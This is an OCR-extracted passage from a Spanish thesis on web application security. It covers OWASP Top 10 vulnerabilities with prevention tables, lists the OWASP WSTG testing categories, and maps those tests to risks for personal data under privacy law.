rio haya cerrado la sesién.

El control de acceso HTTP (CORS)|[38] permi-
te el acceso a la api desde origenes no autori-
zados o no confiables.

Minimizar el uso compartido de recursos de ori-

gen cruzado (CORS).

Se fuerza la navegacién a paginas autenticadas
siendo usuario no autenticado o a paginas pri-
vilegiadas actuando como usuario estandar.

Asegurarse de que el modelo de dominio cum-
ple los requisitos del limite de las aplicaciones.

Tabla 3.1: Vulnerabilidad de control de acceso roto

Fallos criptograficos

Existen algunos datos que requieren de una proteccién criptografica para su almacenamiento y
transmisién, principalmente aquellos que estén sujetos a leyes de privacidad como el RGPD. Un
mala politica de cifrado como el uso de funciones débiles u obsoletas puedan comprometer la
seguridad de los datos[46].

{Cémo se produce?

{Cémo prevenirla?

Se transmiten datos en texto claro cuando se
utilizan protocolos de transmisién de la infor-
macién como HTTP, SMTP y FTP.

Clasificar los datos procesados, almacenados o
transmitidos, identificando aquellos confiden-
ciales de acuerdo con las leyes de privacidad.

Se emplean protocolos o algoritmos criptografi-
cos antiguos o débiles de forma predeterminada
o en c6digo antiguo.

No almacenar datos confidenciales innecesaria-
mente y desecharlos lo antes posible o usar to-
kenizacién compatible con PCI DSS[13] o in-
cluso truncamiento. Cifrar en reposo los datos
confidenciales que se tengan que almacenar.

Se usan las claves criptogréaficas predetermina-
das, se generan o reutilizan claves criptografi-
cas débiles, no se realiza una gestién de claves
adecuadas o se registran las claves en los repo-
sitorios de cédigo fuente

Implementar algoritmos, protocolos y claves
estandar sélidos y actualizados y llevar a ca-
bo una gestion de claves adecuada.

Faltan directivas de seguridad o encabezados
de encabezados HTTP (navegador) lo que im-
plica que no aplique el cifrado

Cifrar todos los datos en transito con protoco-
los seguros como TLS[63] con cifrado de confi-
dencialidad directa (FS)[41] y mediante direc-
tivas como (HSTS)[34]. Deshabilitar el alma-
cenamiento en caché para las respuestas que
contienen datos confidenciales. No transportar
datos confidenciales con protocolos heredados
como FTP y SMTP.

El certificado del servidor recibido y la cadena
de confianza no estan debidamente validados

Aplicar los controles de seguridad requeridos
segun la clasificacién de datos.
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(Coémo se produce?

;Coémo prevenirla?

Se ignoran, reutilizan o no se generan los vecto-
res de inicializacién lo suficientemente seguros
para el modo criptogréafico de operaciéon o se
esta utilizando un modo de operacién inseguro

como ECB[75].

Elegir los vectores de inicializaciéon de forma
adecuada para el modo de operacién: CSPRNG
(Generador de nimeros pseudoaleatorios crip-
togrdficamente seguro)[19], salvo pata los mo-
dos que requieren un nonce'. Nunca usar el
vector de inicializacion dos o maés veces para
una clave fija.

Se usa cifrado simple cuando el cifrado auten-
ticado es mas apropiado

Usar siempre cifrado autenticado frente a solo
cifrado.

Se utilizan contrasenas como claves criptografi-
cas en ausencia de una funcion de derivacién de
clave base de contrasena.

Convertir las contrasenas en claves a través de
una funcién de derivacién de clave base de con-
trasena adecuada.

Se utiliza la aleatoriedad con fines criptografi-
cos que no fueron disenados para cumplir con
los requisitos criptograficos.

Generar claves criptograficamente al azar y al-
macenarlas en la memoria como matrices de
bytes. Asegurarse de que no se hayan generado
de forma predecible o con baja entropia.

Se utilizan funciones hash en desuso, como
MD5[62] o SHA1[76], o funciones hash no crip-
tograficas cuando se necesitan funciones hash
criptograficas.

Usar funciones de hash adaptables y sélidas
con un factor de trabajo o demora como Ar-
gon2[8], scrypt[2], berypt[74] o PBKDF2[55].

Se usan métodos de relleno criptograficos en
desuso como PKCS v1.5[61].

Evitar usar métodos y funciones en desuso.

Los mensajes de error criptograficos son explo-
tables en forma de ataques de ordculo de re-
lleno[26).

Verificar de forma independiente la configura-
cién y los ajustes.

Tabla 3.2: Vulnerabilidad de fallos criptograficos

Diseno inseguro

El disenio es una de las primeras fases del software, que determina el comportamiento del sistema. Si
éste se ha hecho de forma insegura, puede provocar la aparicién de gran parte de las vulnerabilidades
OWASP. No obstante, pese a un diseno seguro, si la implementaciéon cuenta con defectos, también
hace posible la existencia de vulnerabilidades que pueden ser explotadas. En términos de seguridad,
el diseno consta de 3 fases:

1. Gestion de requisitos y recursos: Incluye la negociacion, compilacién y planificacion de
los requisitos de proteccion relacionados con la confidencialidad, integridad, disponibilidad y
autenticidad de los archivos y la légica comercial esperada.

Diseno seguro: Es una cultura y una metodologia que evalia constantemente las amenazas
y garantiza que el codigo esté disenado y probado de manera sélida para evitar métodos de
ataque conocidos.

Ciclo de vida de desarrollo seguro: El software requiere de un ciclo de vida de desa-
rrollo seguro, alguna forma de patrén de diseno seguro, biblioteca de componentes seguros,
herramientas y modelado de amenazas.

L “Ntimero que solo puede usarse una vez” (number that can be only used once)[1][1]
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Las vulnerabilidades ocurren en los casos en el que el software no sigue un diseno seguro. La forma
de evitar que esto ocurra se resume en la siguiente tabla.

. Coémo prevenir la vulnerabilidad?

Establecer y utilizar un ciclo de vida de desarrollo seguro con profesionales de AppSec[11] para
ayudar a evaluar y disenar controles relacionados con la seguridad y la privacidad.

Establecer y utilizar una biblioteca de patrones de disenio seguros.

Utilice el modelado de amenazas para la autenticacién critica, el control de acceso, la légica
empresarial y los flujos de claves.

Integrar el lenguaje y los controles de seguridad en las historias de los usuarios.

Integrar verificaciones de plausibilidad en cada nivel de su aplicacién (desde el frontend hasta
el backend).

Escribir pruebas unitarias y de integracion para validar que todos los flujos criticos sean resis-
tentes al modelo de amenazas. Compile casos de uso y casos de uso indebido para cada nivel de
su aplicacién.

Separar las capas de niveles en las capas del sistema y de la red segin las necesidades de
exposicién y proteccién.

Separar a los inquilinos de manera sélida por diseno en todos los niveles.

Limitar el consumo de recursos por usuario o servicio.

Tabla 3.3: Vulnerabilidad de Diseno Inseguro

Inyeccion

La inyeccion de codigo en paginas web consiste en insertar cédigo en una peticién que luego es
interpretado o ejecutado por la aplicacién. La vulnerabilidad se hace presente cuando la aplicacién
no realiza un tratamiento adecuado en los datos inyectados por el usuario[27].

. Cémo se produce?

;, Cémo prevenirla?

No se validan, filtran ni desinfectan los datos
proporcionados por el usuario.

Validar las entradas de lado del servidor.

Se utilizan las consultas dindmicas o llamadas
no parametrizadas sin escapado consciente del
contexto.

Proporcionar una interfaz parametrizada y es-
capar los caracteres especiales usando la sinta-
xis especifica para el intérprete correspondien-
te.

Se utilizan datos hostiles dentro de los parame-
tros de busqueda de mapeo relacional de obje-
tos (ORM)[71] para extraer registros confiden-
ciales adicionales.

Migrar a herramientas de mapeo relacional de
objetos (ORM).

Se utilizan o concatenan los datos hostiles di-
rectamente. El comando or SQL contiene la
estructura y los datos maliciosos en consultas
dindmicas, comandos o procedimientos alma-
cenados.

Usar una API segura, que evite usar el
intérprete por completo. Usar controles de SQL
dentro de las consultas para evitar la divulga-
cién masiva de registros en caso de inyeccién

de SQL.

Tabla 3.4: Vulnerabilidad de inyeccién de codigo

Error de configuracion de seguridad

La configuracién de los entornos informéaticos debe realizarse de forma efectiva y garantizando la
seguridad de los datos que maneje[47]. Una mala configuracién podria dar lugar a una fuga de




CAPITULO 3. ESTADO DEL ARTE

informacion en la que se da acceso directo a ficheros y directorios con informacién confidencial que
puede ser aprovechada por un usuario con intenciones maliciosas.

{Coémo se produce?

{Coémo prevenirla?

No se refuerza de forma adecuada la seguridad
en cualquier parte de la pila y los permisos de
la nube estan configurados incorrectamente.

Segmentar la arquitectura de aplicaciones que
proporciones una separacion eficaz y segura en-
tre componentes, contenedores o grupos de se-
guridad en la nube (ACL)[10].

Se habilitan o se instalan funciones innecesa-
rias (puertos, servicios, paginas, cuentas o pri-
vilegios).

Instalar unicamente las caracteristicas mini-
mas sin los componentes, documentacién ni
muestras innecesarias.

Las cuentas predeterminadas y sus contrasenas
aun estan habilitadas y sin cambios.

Configurar de forma automatizada los entornos
de desarrollo, control de calidad y produccién
de manera idéntica pero con diferentes creden-
ciales.

El manejo de errores revela mensajes de error
demasiado informativos para los usuarios.

Mostrar mensajes de error lo suficientemente
representativos sin mostrar detalles internos de
la aplicacién.

Las funciones de seguridad mas recientes estan
deshabilitadas o no configuradas de forma se-
gura y no se establecen en valores seguros la
configuracion de seguridad de en los servidores
de aplicaciones y base de datos.

Revisar y actualizar las configuraciones corres-
pondientes a todas las notas de seguridad, ac-
tualizaciones y parches.

El servidor no envia encabezados o directivas
de seguridad.

Enviar directivas de seguridad a los clientes.

Las directivas de seguridad no estan configu-
radas en valores seguros y el software no esta
actualizado o es vulnerable.

Verificar la eficacia de las configuraciones y
ajustes en los entornos.

Tabla 3.5: Vulnerabilidad de error de configuraciéon de seguridad

Componentes vulnerables y obsoletos

Los componentes utilizados por una plataforma web pueden llegar a ser una fuente de vulnerabili-
dades y por tanto un medio de ataque. La situacién empeora si se desconoce la informacién acerca
de éstos y la forma en que podrian ser explotadas las vulnerabilidades presentes[48].

{Cémo se produce?

;, Cémo prevenirla?

Se desconocen las versiones de todos los com-
ponentes utilizados, tanto en el cliente y en
el servidor, incluyendo también dependencias
anidadas.

Hacer un inventario continuo de las versiones
de los componentes del lado del cliente y del
lado del servidor y sus dependencias utilizan-
do herramientas de comprobacion de versiones,
OWASP Dependency Check[52] o retire.js[58].
Monitorizar continuamente fuentes como Com-
mon Vulnerability and Exposures (CVE)[15] y
National Vulnerability Database (NVD)[44] pa-
ra detectar vulnerabilidades en los componen-
tes
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(Coémo se produce?

;Coémo prevenirla?

Estan desactualizados el sistema operativo, el
servidor web de aplicaciones, el de administra-
cién de base de datos, las aplicaciones, la API,
los entornos de tiempo de ejecucién y las bi-
bliotecas.

Eliminar las dependencias no utilizadas, asi co-
mo las funciones, componentes, archivos y do-
cumentacién innecesaria. Actualizar aquellos
que sean necesarios.

No se buscan vulnerabilidades con regularidad
ni informaciéon sobre los componentes en los
boletines de seguridad.

Utilizar herramientas de analisis de composi-
cion de software para automatizar la busqueda
de vulnerabilidades. Suscribirse a alertas por
correo electréonico sobre vulnerabilidades de se-
guridad relacionadas con los componentes uti-
lizados.

No se corrige o actualiza la plataforma, los
marcos ni las dependencias subyacentes de ma-
nera oportuna y basada en el riesgo.

Supervisar las bibliotecas y los componentes
que no reciben mantenimiento o que no crean
parches de seguridad para versiones anteriores.

No se prueba la compatibilidad de las bibliote-
cas actualizadas, mejoradas o parcheadas.

Implementar un parche virtual para monitori-
zar, detectar o proteger los problemas descu-
biertos cuando no sea posible aplicar parches.

No se protegen las configuraciones de los com-
ponentes.

Tener un plan para monitorizar, clasificar y
aplicar actualizaciones o cambios de configu-
raciéon durante la vida 1til de la aplicacién.

Tabla 3.6: Vulnerabilidad de componentes vulnerables y obsoletos

Fallos de identificacién y autenticacion

En algunos sistemas la forma de controlar el alcance de las acciones de los usuarios es mediante el

mecanismo de autenticacién usando login?[49)].

(Coémo se produce?

;Coémo prevenirla?

Se permiten ataques automatizados como el re-
lleno de credenciales, con una lista de nombres
de usuario y contrasenas validos.

Proteger las rutas de registro, recuperacion de
credenciales y API contra ataques de enumera-
cion de cuentas[6] mediante el uso de los mis-
mos mensajes para todos los resultados.

Se permite la fuerza bruta u otros ataques au-
tomatizados.

Limitar o retrasar los intentos de inicio de se-
sién fallidos sin crear un escenario de denega-
cién de servicio. Registrar los errores y alertar
a los administradores.

Se permiten contrasenas predeterminadas,
débiles o conocidas, como “Passwordl” o “ad-
min/admin”.

Especialmente para los usuarios administrado-
res, no usar ni enviar credenciales predetermi-
nada. Implementar comprobaciones de contra-
senas débiles.

Se utiliza recuperacién de credenciales débil o
ineficaz y procesos de contrasena olvidada, co-
mo “respuestas basadas en el conocimiento”,
que no se pueden hacer seguras.

Implementar —autenticacién multifactor[14].
Alinear las politicas de longitud, complejidad
y rotaciéon de contrasenas con las pautas del
NIST para secretos memorizados[43] u otras
politicas de contrasenas modernas basadas en
evidencia.

2Procedimiento que permite a los usuarios autenticarse e iniciar sesién en una aplicacién o sistema.
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(Coémo se produce?

;Coémo prevenirla?

Se almacenan los datos de contrasenas de texto
sin formato, cifradas o con hash débil.

Almacenar las contrasenas de forma segura
usando algoritmos, protocolos y funciones séli-
das y actualizadas.

Se expone el identificador de sesién en la URL.

No incluir el identificador de sesién en la URL
y almacenarlo de forma segura.

Se reutiliza el identificador de sesién después
de un inicio de sesién exitoso.

Utilizar un administrador de sesién incorpora-
do y seguro del lado del servidor que genere una
nueva ID de sesién aleatoria con alta entropia
después de iniciar sesion.

No se invalidan correctamente los ID de sesién.
Las sesiones de usuario o los tokens de auten-
ticacién no se invalidan correctamente durante
el cierre de sesién o un periodo de inactividad.

Invalidar el ID después de los tiempos fijos, de
espera de cierre de sesién y de inactividad.

Tabla 3.7: Vulnerabilidad de identificacién y autenticacién

Registro de seguridad y fallos de monitorizacion

La actividad de un servidor web debe ser monitorizada y almacenada en registros con el fin de
realizar un control de las acciones de los usuarios.

(Coémo se produce?

{Coémo prevenirla?

No se registran los eventos auditables, como
inicios de sesién, inicios de sesién fallidos y
transacciones de alto valor.

Registrar con suficiente contexto de usuario los
fallos de inicio de sesién, control de acceso y
validacién de entrada del servidor.

Se generan mensajes de registro inexistentes,
inadecuados o poco claros.

Generar los registros en un formato facilmente
consumible por las soluciones de administra-
cién de registros.

No se supervisan los registros de aplicaciones
y API en buisqueda de actividad sospechosa.

Establecer una monitorizacién y alertas para
que las actividades sospechosas se detecten y
se respondan rapidamente.

No se implementan o no son efectivos los um-
brales de alerta apropiados y los procesos de
escalada de respuesta.

Hacer un seguimiento de auditoria con contro-
les de integridad de las transacciones de alto
valor.

No activan alertas las pruebas de penetracién o
pentesting[40] y los andlisis realizados por he-
rramientas de pruebas de seguridad de aplica-
ciones dindmicas (DAST)[70].

Establecer o adoptar un plan de recuperacion
y respuesta a incidentes, como el NIST 800-
61r2[42] o posterior.

Los registros solo se almacenan localmente. La
aplicacion no puede detectar, escalar ni alertar
sobre ataques activos en tiempo real o casi en
tiempo real.

Usar marcos de protecciéon de aplicaciones co-
merciales y de cédigo abierto, como OWASP
ModSecurity Core Rule Set[28], y software
de correlacién de registros de cédigo abierto,
como FElasticsearch[20], Logstash[22], Kibana
(ELK)[21], que cuentan con paneles persona-
lizados y alertas.

Los eventos de registros y alerta son visibles
para usuarios o atacantes.

Codificar correctamente los datos de los regis-
tros.

Tabla 3.8: Vulnerabilidad de registro de seguridad y fallos de monitorizacién

37




CAPITULO 3. ESTADO DEL ARTE

Falsificacién de solicitud del lado del servidor (SSRF)

Los fallos de SSRF[50] ocurren cada vez que una aplicacién web obtiene un recurso remoto sin
validar la URL proporcionada por el usuario. Permite que un atacante obligue a la aplicacion a
enviar una solicitud manipulada a un destino inesperado, incluso cuando estd protegida[50]. Se
deben llevar a cabo una serie de medidas que involucren la capa de red y la de aplicacién como
controles de defensa ante esta vulnerabilidad.

({Coémo prevenir la vulnerabilidad?

Segmentar la funcionalidad de acceso a recursos remotos en redes separadas para reducir el
impacto de SSRF en la capa de red.

Aplicar politicas de firewall de “negar por defecto” o reglas de control de acceso a la red para
bloquear todo el trafico de intranet excepto el esencial.

Establecer una propiedad y un ciclo de vida para las reglas de firewall basadas en aplicaciones.
Registrar todos los flujos de red aceptados y bloqueados en los firewalls.

Desinfectar y validar todos datos de entrada proporcionados por el cliente.

Hacer cumplir el esquema de URL, el puerto y el destino con una lista de permitidos.

No enviar respuestas sin tratar a los clientes.

Deshabilitar las redirecciones HTTP.

Tener en cuenta la consistencia de la URL para evitar ataques como el DNS rebiding[72] y las
condiciones de carrera de “tiempo de verificacién, tiempo de uso” (TOCTOU)[16].

No mitigar SSRF mediante el uso de una lista de denegacién o una expresion regular. Los
atacantes suelen tener listas de carga 1til, herramientas y habilidades para eludir las listas de
denegacion.

No implementar otros servicios relevantes para la seguridad en sistemas frontales (por ejemplo,
OpenID[64]). Controlar el trafico local en estos sistemas (por ejemplo, localhost).

Usar el cifrado de red en sistemas independientes para frontend® con grupos de usuarios dedi-
cados y manejables.

Tabla 3.9: Vulnerabilidad de falsificacién del lado del servidor (SSRF)

3.3.2. Metodologia de pruebas OWASP

La gufa de pruebas de OWASP (WSTG) es un documento con pruebas de seguridad web, un con-
junto de métodos para evaluar la seguridad de una aplicacién web, que consisten en un analisis
activo en busca de debilidades, fallos técnicos o vulnerabilidades.

El objetivo de esta metodologia de pruebas es recopilar todas las técnicas de prueba posibles,
explicar estas técnicas y mantener la guia actualizada, basdndose principalmente en el enfoque de
caja negra, caja gris y caja blanca. A continuacién se indica en qué consiste cada tipo de prueba
de prueba:

= Pruebas de caja negra: Pruebas en las que se desconoce la estructura interna de la apli-
cacién por lo que solo se comprueban las salidas producidas por ésta a partir de las entradas
que reciba. Con esto, este tipo de prueba consistird en lanzar peticiones para verificar las
respuestas de la aplicacién y con ello comprobar si existen en ésta vulnerabilidades.

= Pruebas de caja gris: En este caso se conoce parte de la estructura interna de la aplicacién
y tiene como finalidad identificar fallos provocados por el uso de la aplicacién. Las pruebas

3Parte de la aplicacién con la que interactia el usuario
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de caja gris consisten en comprobar el funcionamiento interno y las posibles vulnerabilidades
que se puedan producir en el sistema, usando un usuario proporcionado con este fin.

= Pruebas de caja blanca: Para este ultimo tipo de pruebas se evaliian detalles del software
que esta detras del funcionamiento de la aplicacién, con lo cual el andlisis esta ligado al cédigo
fuente. La persona encargada de hacer las pruebas posee conocimiento total del sistema, por
lo que el objetivo es simular el comportamiento de ataques en los que se cuenta con permisos
de acceso e informacién precisos sobre el sistema.

El conjunto de pruebas de la metodologia de la versién 4.2 se han dividido en 12 categorias:

1. Recopilaciéon de informacién: Consiste en obtener informacién del servidor que permita
el acceso a datos confidenciales del diseno y configuracién de la aplicacién, sistema u or-
ganizacion expuesta directa o indirectamente. También tiene como objetivos identificar la
estructura del sitio web con las versiones de los componentes, ficheros y aplicaciones con el
fin de explotar vulnerabilidades.

= [WSRT-INFO-01] Reconocimiento de descubrimiento de motores de buisqueda.
= [WSTG-INFO-02] Obtener del tipo y versién del servidor web.
WSTG-INFO-03] Revisar meta-archivos del servidor.

WSTG-INFO-04

[
[
[
[
» [WSTG-INFO-05
[
[
[
[

] Enumerar las aplicaciones en el servidor web.

]
| Revisar las fugas de informacién en la pdginas web.
= [WSTG-INFO-06] Identificar los puntos de entradas en las aplicaciones.

WSTG-INFO-07] Identificar la estructura de archivos y directorios web.

» [WSTG-INFO-08] Obtener las caracteristicas de los componentes del servidor web.
= [WSTG-INFO-10 | Mapear la arquitectura del servidor.

2. Gestion de configuracién e implementacion: A partir de una revision de las configura-
ciones, archivos, extensiones, cabeceras y permisos, se detectan vulnerabilidades que pueden
ser explotadas para atacar al servidor.

s [WSTG-CONF-01] Identificar la configuracién de la infraestructura de red.
= [WSTG-CONF-02] Identificar la configuracién de la plataforma de la aplicacién.
= [WSTG-CONF-03] Probar el manejo de extensiones de ficheros.

= ]

[ ]

WSTG-CONF-04]| Revisar copias antiguas y ficheros no referenciados.

WSTG-CONF-05] Enumerar las interfaces de administracion de la infraestructura y
aplicacion.

WSTG-CONF-06] Probar los métodos HT'TP.
WSTG-CONF-07] Probar la funcién de seguridad estricta de transporte HT'TP.

WSTG-CONF-09
WSTG-CONF-10] Probar la adquisicién de subdominio.
WSTG-CONF-11] Probar el almacenamiento en la nube.

[ ]
[ ]

= [WSTG-CONF-08] Probar la politica de dominios cruzado de RIA.
[ | Revisar los permisos de ficheros.
[ |
[ ]
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3. Gestién de identidad: Con éstas se evalia la forma en que se asignan las cuentas a los
usuarios, incluyendo permisos, roles y los procesos que realizan sobre el servidor. Identifica
también la estructura de nombres de cuentas y el acceso a éstas por parte de usuarios que
intenten atacar a la aplicacién.

= [WSTG-IDNT-01] Probar la definicién de roles.
[WSTG-IDNT-02] Probar el proceso de registro.

= [WSTG-IDNT-03] Probar el proceso de asignacién de cuentas.
[WSTG-IDNT-04] Enumerar las cuentas de usuario.
[WSTG-IDNT-05] Probar la politica de nombres de usuario.

4. Autenticacién: Realiza una evaluacion del proceso detras de la autenticacion de los usua-
rios en la aplicacion. Esto incluye la identificacion de la informacién que se almacena del
usuario tanto en el lado del cliente como del servidor, la comprobacién de si se usan cre-
denciales por defecto, los mecanismos de bloqueos ante ataques automatizados, la forma en
que se transmiten los datos al iniciar sesién o registrarse y el mecanismo de recuperacion de
contrasenas.

= [WSTG-ATHN-01] Capturar el transporte de credenciales en canales cifrados.

= [WSTG-ATHN-02] Probar las credenciales por defecto.
= [WSTG-ATHN-03] Probar el mecanismo de bloqueo ante ataques.
= [WSTG-ATHN-04] Eludir el esquema autenticacién.

[WSTG-ATHN-05] Probar la funcionalidad de Recordar Contrasena.

[WSTG-ATHN-06] Probar las debilidades de la caché en el lado del cliente.

[WSTG-ATHN-07] Probar la politica de contrasenas.

[WSTG-ATHN-08] Probar las preguntas de seguridad para recuperar contrasenia.

]

= [WSTG-ATHN-09] Probar la funcionalidad de cambio recuperacién o restablecimiento
de contrasena.

= [WSTG-ATHN-10] Probar la autenticacién en canales alternativos.

5. Autorizacién: Van referidas a la verificacién de los permisos de los usuarios en la aplicacion.
Por tanto, se llevan a cabo acciones que intenten ir mas alld de las acciones que el usuario
deberia estar limitado a realizar.

= [WSTG-ATHZ-01] Incluir de ficheros transversales de directorio en las peticiones al
servidor.

» [WSTG-ATHZ-02] Eludir el esquema de autorizacion.
= [WSTG-ATHZ-03] Elevar los privilegios.
s [WSTG-ATHZ-04] Probar la referencia directa a objetos insegura.

6. Pruebas de gestion de sesiones: Consiste en poner a prueba el comportamiento del
servidor después de que un usuario se haya autenticado y por tanto se crea una sesién.
Se estudian la configuracion, variables y cookies de las sesiones, la generacién de tokens, el
flujo de autenticacién y el cierre de sesién por parte del usuario y por timeout®.

4Tiempo que transcurre hasta el cierre de sesién automético si el usuario se mantiene inactivo.
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[
[
[
[
[
[
[
[

WSTG-SESS-01] Probar el esquema de gestién de sesiones.
WSTG-SESS-02] Ver los atributos de las cookies.
WSTG-SESS-03] Forzar la sesién mediante cookies.
WSTG-SESS-04] Obtener las variables de sesién expuestas.
WSTG-SESS-05] Probar la falsificacién de solicitudes entre sitios (CSRF).
WSTG-SESS-06] Probar el cierre de sesién.
WSTG-SESS-07] Probar el timeout de sesién.
WSTG-SESS-08] Probar las generacién de variables de sesién.

]

= [WSTG-SESS-09] Identificar y secuestrar las cookies de sesién vulnerables.

7. Validacién de entrada: Uno de los principales puntos de entrada para atacar a una apli-
cacién web son los formularios. Por tanto, se deben probar las validaciones de entradas, las
variables involucradas y salidas producidas ante una peticion que requiere una entrada por
parte del usuario.

s [WSTG-INPV-01] Inyectar cédigo ejecutable en una respuesta HTTP.

[
[
[
[

WSTG-INPV-02
WSTG-INPV-04| Prueba de contaminacién de parametros HT'TP.

Inyectar cédigo ejecutable en una entrada de datos persistente.

]
]
]
]

= [WSTG-INPV-05] Inyeccién SQL.

Oracle

Mysql

SQL Server

PostgreSQL

MS Access

NoSQL

Mapeo de objetos relacional

Lado del cliente

WSTG-INPV-06] Prueba de inyeccién LDAP.
WSTG-INPV-07] Prueba de inyeccién XML.

WSTG-INPV-09]| Prueba de inyecciéon en XPath.
WSTG-INPV-10] Prueba de inyeccién en los servidores de correo (IMAP/SMTP).

[ |
[ ]
= [WSTG-INPV-08] Prueba de inyeccién en las directivas dindmicas del servidor (SSI).
[ |
[ |
[WSTG-INPV-11] Prueba de inyeccién de cédigo.

Inclusion de ficheros locales

Inclusion de ficheros remotos

= [WSTG-INPV-12] Prueba de inyeccién de comandos.
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[WSTG-INPV-13] Prueba de inyeccién de formato string.
[WSTG-INPV-14] Prueba de vulnerabilidades incubadas.
[WSTG-INPV-15] Prueba de contrabando de divisién HTTP.

= [WSTG-INPV-16] Prueba de solicitudes HTTP entrantes.

= [WSTG-INPV-17] Prueba de inyeccién de encabezados de hosts.
[WSTG-INPV-18] Prueba de inyeccién de plantillas del lado del servidor.
[

= [WSTG-INPV-18] Prueba de falsificacién de solicitudes en el lado del servidor.

8. Manejo de errores: Consiste en evaluar los mensajes devueltos por los errores producidos
para intentar obtener informacién interna de la aplicacion.

= [WSTG-ERRH-01] Prueba de manejo incorrecto de errores.

9. Criptografia: Se prueban las funcionalidades que requieran de cifrado de datos, evaluando
las funciones usadas para ello asi como la forma en que se transmite la informacién cifrada.
= [WSTG-CRYP-01] Pruebas de seguridad de la capa de transporte.
= [WSTG-CRYP-02] Prueba de ordculo de relleno.
= [WSTG-CRYP-03] Prueba de envio de informacién sensible mediante canales no cifrados.
[WSTG-CRYP-04] Prueba de cifrado débil.

10. Légica de negocio: Este tipo de pruebas van dirigidas a las reglas de negocio de la aplicacion
que determinan cémo la informacién puede ser creada, almacenada y cambiada, estudiando
la documentacién al respecto y buscando punto de inyeccién de datos.

WSTG-BUSL-01] Prueba de validacién de datos de légica de negocio.
WSTG-BUSL-02] Prueba de capacidad de falsificacién de entrada.
WSTG-BUSL-03] Prueba de comprobacién de integridad.
WSTG-BUSL-04] Prueba de tiempo de procesamiento.

WSTG-BUSL-06] Pruebas de elusion de flujos de trabajo.
WSTG-BUSL-07] Prueba de defensa contra el uso indebido de la aplicacion.
WSTG-BUSL-08] Prueba de subida de ficheros con extensién distinta a la esperada.

WSTG-BUSL-09] Prueba de subida de ficheros maliciosos.

[ ]
[ ]
[ ]
[ ]
= [WSTG-BUSL-05] Comprobacién del nimero de veces que una funcién puede ser usada.
[ ]
[ ]
[ |
[ |

11. Lado del cliente: Se prueba la funcionalidad del lado del cliente identificando puntos de
inyeccién, la informacion almacenada y el cédigo ejecutado.

WSTG-CLNT-01] Prueba de secuencia de comandos cruzados basados en DOM®.
WSTG-CLNT-02] Prueba de ejecucion de JavaScript.

WSTG-CLNT-03] Inyeccién de codigo HTML.

WSTG-CLNT-04] Prueba de redireccién de URL del lado del cliente.

[ ]
[ ]
= ]
[ ]

5Un tipo de dato usado en programacién para trabajar con cadenas de texto.
SModelos de objeto de documento
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[WSTG-CLNT-05] Inyeccién de cédigo CSS.
[WSTG-CLNT-06] Prueba de manipulacién de recursos del lado del cliente.
[WSTG-CLNT-07] Prueba de intercambio de recursos de origen cruzado.
[WSTG-CLNT-08] Prueba de intermitencia entre sitios.
= [WSTG-CLNT-09] Prueba de secuestro del click.
[WSTG-CLNT-10] Prueba de sockets” web.

[WSTG-CLNT-11] Prueba de mensajeria web.
= [WSTG-CLNT-12] Prueba de almacenamiento en el navegador.
= | ]

WSTG-CLNT-13| Pruebas de inclusién de secuencias de comandos en sitios cruzados.

12. API: Se prueba la configuracién de la seguridad, la validacién de los campos de entrada y
los controles de acceso.

= [WSTG-APIT-01] Prueba de GraphQL.

7Concepto abstracto por el cual dos procesos pueden intercambiar cualquier flujo de datos.
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Capitulo 4

Diseno

El diseno del presente proyecto incluye una unién entre las vulnerabilidades en aplicativos web con
la normativa actual en lo que respecta a la protecciéon de datos, lo que implica filtrar las pruebas
que afecten de forma directa o indirecta a los datos de cardcter personal presentes en sistemas
vulnerables. En el diseno también se incluyen las especificaciones necesarias para implementar un
entorno de pruebas controlado y algunas de las pruebas seleccionadas para verificar que se puede
obtener acceso a datos de caracter personal.

4.1. Vulnerabilidades web que afectan a los datos de caracter
personal

Se seleccionan las pruebas que explotan vulnerabilidades que atentan contra la privacidad de datos,
es decir, que por medio de su explotacién permiten el acceso a éstos. Hay dos tipos:

= Las que provocan la fuga o el acceso directo a datos personales.
= Las que permiten descubrir y explotar otras que conducen al acceso de datos personales.

El motivo de esto es que existen vulnerabilidades que pueden no ser descubiertas si previamente
no se han explotado otras. De no ser asi, en un caso extremo, se podria dar por seguro un sistema
en cuanto a la proteccién al derecho de privacidad de datos cuando en realidad no es asi.

En la siguiente figura se muestra un esquema en el que aparecen las vulnerabilidades que pueden
suponer un riesgo a los datos de cardcter personal y por tanto han de ser explotadas de manera
general, asi como aquellas que no afectan a estos datos y que no son de interés para este proyecto.
El esquema es genérico y las vulnerabilidades se han representado mediante identificadores de dos
letras V1...V4 y VA...VB.
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Afectan a datos personales | No afectan a datos personales

Vy

l

Se accede a dalos

persanales

T

V3

T

V2

T

V2

No se accede a dafos
persanales

Figura 4.1: Vulnerabilidades que afectan frente a las que no afectan a datos personales

Con lo mostrado, las vulnerabilidades que se deben considerar de cara a al atentado frente a la
proteccién de datos son V1, que accede de forma directa, y V2, V3 y V4, que se desencadenan de
forma sucesiva hasta llegar a los datos. El resto deberian considerarse para probar la seguridad del
sistema pero en otros aspectos que son los relacionados con el objetivo del presente proyecto.

En la tabla 4.1 se establece una relacién entre las pruebas que cumplen algunas de las condiciones
descritas hasta ahora y los requerimientos exigidos por la legislacion de datos actual, junto aquellas
que no lo hacen. En la primera columna se indica identificador OWASP y el nombre de la prueba!l,
en la segunda un breve comentario sobre o bien cémo afectaria a los datos personales o bien porqué
no afectan a este tipo de datos; y por iltimo, en la tercera columna, un identificador de dos letras
que indica el tipo de vulnerabilidad que se pretende explotar:

= AD: Pueden acceder a datos personales.

= EV: Permiten explotar vulnerabilidades que acceden a datos personales.

= DV: O bien acceden a datos personales o bien permiten explotar vulnerabilidades.

= NA: No afectan o no estdn relacionadas al acceso a datos personales.

sién del servidor web.

web puede haber vulnerabilidades conoci-
das que pueden permitir un acceso a datos
personales.

Prueba Comentarios Tipo
[WSTG-INFO-01] Descubrimiento de in- | Se podria obtener, por medio de los ope- | DV
formacién y activos utilizando motores de | radores de busqueda, acceso a datos con-
busqueda. fidenciales o informacién del servidor (por

ejemplo, directorios y ficheros ocultos).
[WSTG-INFO-02] Obtener el tipo y ver- | En algunos tipos y versiones de servidores | EV

Thttps://github.com/OWASP/wstg/blob/master/checklist/WSTG-Checklist_v4.2.xlsx?raw=true
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Prueba Comentarios Tipo
[WSTG-INFO-03] Revisar metadatos de | La informacién obtenida de los metadatos | DV
los documentos alojados en el servidor. pueden conducir a archivos y directorios en

los que se almacene informacién sensible.
[WSTG-INFO-04] Enumerar las aplicacio- | Algunas de las aplicaciones encontradas | EV
nes en el servidor web. puede tener vulnerabilidades que permitan
el acceso a datos.
